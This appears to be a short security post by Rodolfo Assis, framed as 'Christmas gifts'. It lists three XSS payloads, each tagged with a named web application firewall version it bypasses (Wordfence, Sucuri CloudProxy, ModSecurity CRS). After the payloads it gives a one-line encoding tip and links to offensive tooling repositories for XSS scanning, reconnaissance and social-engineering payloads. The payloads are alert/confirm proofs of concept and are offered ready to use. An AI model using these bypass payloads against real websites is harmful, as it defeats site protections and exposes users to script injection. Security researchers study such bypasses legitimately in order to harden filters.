Christmas Gifts!🎄
WAF #XSS Bypasses

Wordfence 7.4.2
<a href=&#01javascript:alert(1)>

Sucuri CloudProxy (POST only)
<a href=javascript&colon;confirm(1)>

ModSecurity CRS 3.2.0 PL1
<a href="jav%0Dascript&colon;alert(1)">

Encode special chars properly.
#MerryChristmas! 🎅

By : Rodolfo Assis

Heavy-duty and Advanced Cross Site Scripting Scanner

https://github.com/haroonawanofficial/XSS-Finder

Complete Automated pentest framework for Information Gathering

https://github.com/haroonawanofficial/ReconCobra

Collection of social engineering payloads

https://github.com/t3ntman/Social-Engineering-Payloads

OSINT Framework :
https://osintframework.com

This repository is primarily maintained by Omar Santos and includes thousands of resources related to ethical hacking / penetration testing, digital forensics and incident response (DFIR), vulnerability research, exploit development, reverse engineering, and more.

https://github.com/The-Art-of-Hacking/h4cker/

Toolkit to detect and keep track on Blind XSS, XXE & SSRF

https://github.com/SpiderMate/B-XSSRF